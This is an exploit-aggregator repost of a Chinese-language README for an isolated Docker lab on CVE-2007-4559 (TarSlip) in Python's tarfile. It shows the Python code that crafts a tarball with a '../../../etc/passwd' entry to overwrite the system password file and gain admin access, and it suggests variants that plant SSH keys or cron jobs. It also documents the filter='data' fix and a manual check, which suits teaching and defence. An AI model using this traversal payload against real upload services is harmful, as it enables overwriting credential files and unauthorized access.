Sploitus

Exploit for CVE-2007-4559-lab

kitploit · 2026-09-01

Exploit Code

MARKDOWN320 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JITHINODATTU-CVE-2007-4559-LAB
# CVE-2007-4559 — TarSlip:长达 15 年的目录遍历

> **仅用于教育目的。** 本实验室在隔离的 Docker 容器内故意利用文件系统漏洞。请勿在任何包含敏感数据的系统或生产环境中运行。

一个自包含的 Docker 实验室,通过一个具体的端到端攻击链演示 **CVE-2007-4559** —— Python `tarfile` 模块中臭名昭著的“TarSlip”漏洞:

  1. 攻击者将一个精心构造的 tarball 上传到文件上传 API。
  2. `extractall()` 盲目地将名为 `../../../etc/passwd` 的 tar 条目写入提取目录之外,覆盖真实的系统文件。
  3. 植入的密码使得攻击者能够访问受保护的 `/admin` 端点。
  4. 接着对修复后的 API 执行相同的攻击 —— 并被一行代码阻止。



* * *

## 漏洞详情

Python 的 `tarfile.extractall()` 会忠实地重现 tar 归档中的每个条目,包括名称包含 `../` 路径遍历序列的条目。它**从未被设计为安全边界** 。

root@kitploit:~
    
    
    tar 条目名称 : ../../../etc/passwd
    提取目录     : /shared/uploads/a1b2c3d4/
    
    解析后的路径 : /shared/uploads/a1b2c3d4/../../../etc/passwd
                 = /etc/passwd   ← 系统文件被覆盖
    

* * *

## 演示内容

演示分为三个环节,每个环节需要按键才能继续。

### 环节 1 —— 基线

  * `GET /admin` → **401** 。管理员端点存在且受到保护。攻击者不知道密码。
  * 上传 `innocent.tar.gz` → 文件被放入沙盒目录中。一切看起来正常。



### 环节 2 —— 漏洞利用

root@kitploit:~
    
    
    攻击者构造 tarslip_passwd.tar.gz
      └─ 条目: "../../../etc/passwd"
           内容: admin:hacked:1001:...   ← 植入的密码
                │
                ▼
      POST /upload (多部分文件上传)
                │
                ▼
      extractall("/shared/uploads/{uuid}/")
      解析 "../../../etc/passwd" → /etc/passwd   ← CVE-2007-4559
                │
                ▼
      GET /admin   Authorization: Basic admin:hacked
                │
                ▼
      HTTP 200 — “欢迎,管理员!您拥有完全管理权限。”
      标志: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
    

一次 HTTP POST。无需 Shell。无需 RCE 载荷。只是一个 tar 文件。

### 环节 3 —— 修复

相同的 tarball 被上传到修复后的 API,后者向 `extractall()` 传递了 `filter='data'`。Python 抛出 `tarfile.OutsideDestinationError` —— 路径遍历被阻止,`/etc/passwd` 未被触及,`/admin` 保持锁定。

root@kitploit:~
    
    
    # 存在漏洞 —— Python 3.14 之前的默认行为
    tar.extractall(extraction_dir)
    
    # 已修复 —— PEP 706(Python 3.12+)
    tar.extractall(extraction_dir, filter='data')
    

一个参数。十五年才交付。

* * *

## 架构

在隔离的 Docker 桥接网络(`tarslip-net`)上运行四个服务。没有服务能够访问互联网。

root@kitploit:~
    
    
    ┌─────────────────────────────────────────────────────────┐
    │                    tarslip-net (bridge)                  │
    │                                                          │
    │  ┌─────────────────┐      ┌──────────────────────────┐  │
    │  │  vulnerable-api │      │       file-server        │  │
    │  │  python:3.11.3  │      │       nginx:alpine       │  │
    │  │  端口 8000      │      │       端口 8080 (宿主机)  │  │
    │  │                 │      │                          │  │
    │  │  POST /upload   │      │  通过 HTTP 提供/shared    │  │
    │  │  GET  /admin    │      │  目录 —— 可视化浏览提取物 │  │
    │  │  GET  /health   │      │                          │  │
    │  └────────┬────────┘      └────────────┬─────────────┘  │
    │           │  共享存储卷                 │                 │
    │           └────────────────────────────┘                 │
    │                                                          │
    │  ┌─────────────────┐                                     │
    │  │    attacker     │                                     │
    │  │  python:3.12    │  (无宿主机端口 —— 仅内部)          │
    │  │                 │                                     │
    │  │  craft_malicious.py  — 生成 tarball                   │
    │  │  demo.py             — 驱动演示                       │
    │  └─────────────────┘                                     │
    └─────────────────────────────────────────────────────────┘
    

存在漏洞和已修复的 API 使用**完全相同的源代码** 。唯一区别是修复后的容器上设置了 `USE_SAFE_EXTRACTION=true` 环境变量,它切换了唯一的 `filter='data'` 参数。

* * *

## 仓库布局

root@kitploit:~
    
    
    CVE-2007-4559-lab/
    ├── run_demo.sh                      ← 从这里开始
    ├── docker-compose.vulnerable.yml
    ├── docker-compose.fixed.yml
    ├── vulnerable-api/
    │   ├── app.py                       # Flask API: /upload + /admin + /health
    │   ├── Dockerfile                   # 将 admin:s3cr3t_Adm1nPass 注入 /etc/passwd
    │   └── requirements.txt
    ├── file-server/
    │   ├── Dockerfile
    │   └── nginx.conf
    └── attacker/
        ├── craft_malicious.py           # 生成 innocent.tar.gz + tarslip_passwd.tar.gz
        ├── demo.py                      # 四种模式的 CLI 驱动 (craft/baseline/exploit/verify)
        ├── Dockerfile
        └── requirements.txt
    

* * *

## 前提条件

  * **Docker** 20.10+ 并安装 Compose 插件(`docker compose version`)
  * **macOS / Linux** —— 脚本使用 `bash`
  * 宿主机上端口 **8000** 和 **8080** 空闲



* * *

## 运行演示

root@kitploit:~
    
    
    git clone https://github.com/your-username/CVE-2007-4559-lab.git
    cd CVE-2007-4559-lab
    bash run_demo.sh
    

脚本是全交互式的。它在每个步骤之前输出说明,并等待按 **Enter** 继续。无需 Docker 知识即可跟进。

### 每个暂停点的内容

### 单独运行各环节

如果你想手动逐步操作:

root@kitploit:~
    
    
    # 存在漏洞的栈
    docker compose -f docker-compose.vulnerable.yml up --build -d
    docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
    docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
    docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
    
    # 修复后的栈
    docker compose -f docker-compose.vulnerable.yml down
    docker compose -f docker-compose.fixed.yml up --build -d
    docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
    docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
    
    # 清理
    docker compose -f docker-compose.fixed.yml down
    

### 可视化检查

当存在漏洞的栈运行时,在浏览器中打开 http://localhost:8080/uploads/ 浏览提取的会话目录。

* * *

## `/admin` 端点的工作原理

API 在镜像构建时将一个秘密管理员密码注入到 `/etc/passwd` 中:

root@kitploit:~
    
    
    admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
    

`GET /admin` 读取此文件并检查第二个字段(密码)是否与 HTTP 基本认证凭据匹配。攻击者不知道 `s3cr3t_Adm1nPass` —— 但在 TarSlip 用他们自己的版本(包含 `admin:hacked`)覆盖文件后,他们就知道了。

这是现实世界中攻击目标的简化模型:SSH `authorized_keys`、应用程序配置文件、cron 作业,以及 web 进程可写入的任何凭据文件。

* * *

## 载荷如何构造

`craft_malicious.py` 使用 Python 自身的 `tarfile` 模块 —— 也就是存在漏洞的同一个模块:

root@kitploit:~
    
    
    def _add_entry(tar, name, content):
        info = tarfile.TarInfo(name=name)   # name 是遍历路径
        info.size = len(content)
        tar.addfile(info, io.BytesIO(content))
    
    # 条目名称在提取到 /shared/uploads/{uuid}/ 时将解析为 /etc/passwd
    _add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
    

无需特殊工具。无需二进制利用。标准库既是武器也是受害者。

* * *

## 修复说明

Python 3.12 在 PEP 706 中引入了 `filter=` 参数。`'data'` 过滤器:

  * 拒绝解析到目标目录之外的条目
  * 剥离 setuid/setgid 位
  * 忽略设备文件和对不安全路径的硬链接
  * 在遍历尝试时抛出 `tarfile.OutsideDestinationError`



root@kitploit:~
    
    
    # 之前(存在漏洞 —— 在 Python 3.14 之前仍是默认行为)
    with tarfile.open(path) as tar:
        tar.extractall(dest)
    
    # 之后(安全)
    with tarfile.open(path) as tar:
        tar.extractall(dest, filter='data')
    

对于 Python 3.11 及更早版本,手动验证:

root@kitploit:~
    
    
    import os
    
    def safe_extract(tar, dest):
        dest = os.path.realpath(dest)
        for member in tar.getmembers():
            member_path = os.path.realpath(os.path.join(dest, member.name))
            if not member_path.startswith(dest + os.sep):
                raise ValueError(f"不安全路径: {member.name}")
        tar.extractall(dest)
    

静态分析:`bandit` 规则 **B202** 会在 CI 中标记不安全的 `extractall()` 调用。

* * *

## 更广泛的影响 —— ZipSlip

TarSlip 是 Python 对一类漏洞的称呼,这类漏洞存在于具有归档提取 API 的每种语言中:

所有语言中的根本原因相同:信任来自不受信任归档的路径。修复方法也相同:在写入之前进行规范化和验证。

* * *

## 面向不同受众的变体

### 面向开发者

重点关注修复前后的代码差异以及 `bandit` B202 规则。目标是“如何在我们的代码库中防止这种情况?” —— 展示 PEP 706 迁移指南以及如何将检查添加到 CI。

### 面向安全研究人员

重点关注 Trellix 的披露方法论 —— 他们如何大规模搜索 GitHub、估计跨越 350,000 个仓库的影响范围,以及为如此广泛的漏洞导航负责任披露。

### 面向 CTF 选手

扩展 `craft_malicious.py`,使其植入 SSH `authorized_keys` 文件或恶意 cron 条目,而不是 `/etc/passwd`。相同的技术,不同的目标 —— 表明任何可写路径都是攻击面。

* * *

## 参考

  * NVD — CVE-2007-4559
  * PEP 706 — Filter for tarfile.extractall
  * Trellix — "15 Years Later: On the Dangers of Zip/Tar Slip"
  * Python 问题追踪器 — bpo-21109 (2007 年的原始报告)
  * Bandit B202
  * Snyk ZipSlip 建议



* * *

## 许可证

MIT — 可自由用于教育、安全研究和会议演示。请勿针对不属于您的系统使用载荷生成技术。